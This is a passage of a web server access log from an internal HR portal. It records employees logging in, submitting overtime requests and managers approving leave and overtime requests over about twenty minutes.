/ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF0647541BE29E529865F50D3179FED06AB284A55B792447CCC4D8DA84953CD3C1 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:15:03:24 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF0647541BE29E529865F50D3179FED06AB284A55B792447CCC4D8DA84953CD3C1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:03:24 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [01/Dec/2025:15:03:32 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF9350EF5A95F20B5D12B4A94C22643C59578C1D35B929FDE183A8B1F128D0D631 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:15:03:32 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF9350EF5A95F20B5D12B4A94C22643C59578C1D35B929FDE183A8B1F128D0D631 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:15:03:33 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF9350EF5A95F20B5D12B4A94C22643C59578C1D35B929FDE183A8B1F128D0D631 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:03:33 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF9350EF5A95F20B5D12B4A94C22643C59578C1D35B929FDE183A8B1F128D0D631 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:15:03:33 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB536F8B73144D1631DF9350EF5A95F20B5D12B4A94C22643C59578C1D35B929FDE183A8B1F128D0D631" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:03:33 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.96 - - [01/Dec/2025:15:09:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.96 - - [01/Dec/2025:15:09:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:29 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.96 - - [01/Dec/2025:15:09:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.96 - - [01/Dec/2025:15:09:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.96 - - [01/Dec/2025:15:09:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.96 - - [01/Dec/2025:15:09:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.96 - - [01/Dec/2025:15:09:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:47 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.96 - - [01/Dec/2025:15:09:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.96 - - [01/Dec/2025:15:09:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:09:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 30 192.168.11.96 - - [01/Dec/2025:15:10:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.96 - - [01/Dec/2025:15:10:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:03 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.96 - - [01/Dec/2025:15:10:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.96 - - [01/Dec/2025:15:10:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166628 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166628 192.168.11.96 - - [01/Dec/2025:15:10:13 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5597 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:13 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1362713 HTTP/1.1" 200 5597 192.168.11.96 - - [01/Dec/2025:15:10:15 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101 192.168.11.96 - - [01/Dec/2025:15:10:15 +0800] "GET /eHR/img/workflow/user_sign_unknown_key.png HTTP/1.1" 200 3101 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:15 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.96 - - [01/Dec/2025:15:10:15 +0800] "GET /eHR/img/workflow/end.png HTTP/1.1" 200 2726 192.168.11.108 - - [01/Dec/2025:15:18:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [01/Dec/2025:15:18:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:18:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [01/Dec/2025:15:18:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.108 - - [01/Dec/2025:15:18:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12104 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12104 192.168.11.108 - - [01/Dec/2025:15:18:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:49 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 192.168.11.108 - - [01/Dec/2025:15:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.11.108 - - [01/Dec/2025:15:18:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 81414 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:18:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 81414 192.168.131.236 - - [01/Dec/2025:15:19:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.131.236 - - [01/Dec/2025:15:19:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:19:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.131.236 - - [01/Dec/2025:15:19:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.131.236 - - [01/Dec/2025:15:19:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:19:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 192.168.131.236 - - [01/Dec/2025:15:19:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:19:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.131.236 - - [01/Dec/2025:15:19:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.131.236 - - [01/Dec/2025:15:19:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 45333 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 45333 192.168.131.236 - - [01/Dec/2025:15:20:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:12 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132661%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132661&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132661%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132661&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:16 